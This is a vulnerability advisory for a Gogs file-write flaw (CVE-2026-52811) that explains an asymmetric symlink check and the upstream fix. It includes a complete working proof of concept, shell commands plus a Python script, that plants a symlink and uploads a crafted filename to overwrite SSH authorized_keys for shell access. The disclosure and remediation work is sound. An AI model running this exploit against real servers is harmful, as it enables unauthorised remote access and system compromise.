CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink
An authenticated Gogs user with repository write access can overwrite any file the server process can reach, including SSH authorized_keys and git hooks, by uploading a file whose name contains a back

The problem
The `UploadRepoFiles` method in `internal/database/repo_editor.go` checks for symlinks only on the final path component using `osx.IsSymlink(targetPath)`. Every sibling function (`UpdateRepoFile`, `DeleteRepoFile`, `GetDiffPreview`) calls `hasSymlinkInPath`, which lstats every component of the path. `UploadRepoFiles` is the lone outlier.
An attacker first pushes a committed directory symlink (e.g. `hijack -> /home/git/.ssh`) to a repo they control. They then send a crafted multipart upload whose filename encodes a backslash. After `mime.ParseMediaType` quoted-pair decoding and `pathx.Clean`'s `strings.ReplaceAll(p, "\\", "/")`, the stored `upload.Name` becomes `hijack/authorized_keys`. `iox.CopyFile` calls `os.Create` with no `O_NOFOLLOW`, so the kernel follows the parent symlink and writes attacker bytes to `/home/git/.ssh/authorized_keys`.
The impact is SSH key implantation (persistent shell as the gogs UID) or overwriting bare-repo hooks for RCE on the next push.
Proof of concept
# Step 1: plant the directory symlink in the repo
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs' && git push origin main
cd ..
# Step 2: send the crafted multipart upload (Python -- curl alone won't work)
# The wire filename must carry two literal backslash bytes so that
# mime.ParseMediaType quoted-pair decoding yields one backslash,
# which pathx.Clean then converts to a forward slash.
#
# Wire form: filename="hijack\\authorized_keys"
# After mime: hijack\authorized_keys
# After pathx: hijack/authorized_keys <-- traverses parent symlink
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie
GOGS_HOST = 'gogs.example'
USERNAME = 'attacker'
PASSWORD = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME = 'playground'
BRANCH = 'main'
PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
cookies = {}
def conn(): return http.client.HTTPSConnection(GOGS_HOST, 443)
def update_cookies(r):
for h in r.msg.get_all('Set-Cookie') or []:
for n, m in SimpleCookie(h).items(): cookies[n] = m.value
def cookie_header(): return '; '.join(f'{k}={v}' for k,v in cookies.items())
def get_csrf(html): return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
# 1. GET login page
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r); csrf = get_csrf(r.read().decode())
# 2. POST credentials
c = conn()
c.request('POST', '/user/login',
body=urllib.parse.urlencode({'_csrf': csrf, 'user_name': USERNAME, 'password': PASSWORD}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
r = c.getresponse(); r.read(); update_cookies(r)
# 3. Refresh CSRF
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf = get_csrf(html)
# 4. Multipart with double-backslash filename on the wire
boundary = '----poc-' + 'x' * 16
filename_wire = r'hijack\\authorized_keys' # two backslash bytes on wire
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="file"; filename="{filename_wire}"\r\n'
f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
r = c.getresponse(); upload_resp = r.read().decode()
uuid = json.loads(upload_resp)['uuid']
# 5. Commit the upload at repo root
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
body=urllib.parse.urlencode({
'_csrf': csrf, 'tree_path': '', 'commit_summary': 'docs',
'commit_choice': 'direct', 'files': uuid}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
print('commit status:', c.getresponse().status)
# Result: /home/git/.ssh/authorized_keys now contains PUBKEY
# ssh -i ~/.ssh/id_ed25519 git@gogs.example -> shell as gogs UIDThe root cause is an asymmetric symlink check: `UploadRepoFiles` calls `osx.IsSymlink` on the leaf path only, while sibling functions call `hasSymlinkInPath`, which lstats every path component in a loop. Because Linux treats only `/` as a path separator, `filepath.Base` preserves a raw backslash in the multipart filename. `pathx.Clean` then converts that backslash to a forward slash via `strings.ReplaceAll(p, "\\", "/")`, producing a multi-segment name that silently traverses the committed symlink.
The secondary weakness is `iox.CopyFile` using `os.Create` without `O_NOFOLLOW`. Even if the lstat check ran correctly, there is a TOCTOU window between the check and the write. The patch (commit `04cb8afb`, PR #8332) replaces the leaf `osx.IsSymlink` call with `hasSymlinkInPath` and adds a rejection in `database.NewUpload` for any name containing `/` or `\` after cleaning, closing both vectors.
CWE-22 (Path Traversal) and CWE-61 (Symlink Following) both apply.
The fix
Upgrade to Gogs 0.14.3 (commit 04cb8afbb01d855454e59977a1cdbf522ea1db31, PR #8332). The patch replaces the leaf-only `osx.IsSymlink` check in `UploadRepoFiles` with the same `hasSymlinkInPath` walker used by sibling functions, and adds an early rejection in `database.NewUpload` for any upload name containing a `/` or `\` after path cleaning.
Until you can upgrade, disable open registration and restrict repository write access to fully trusted users.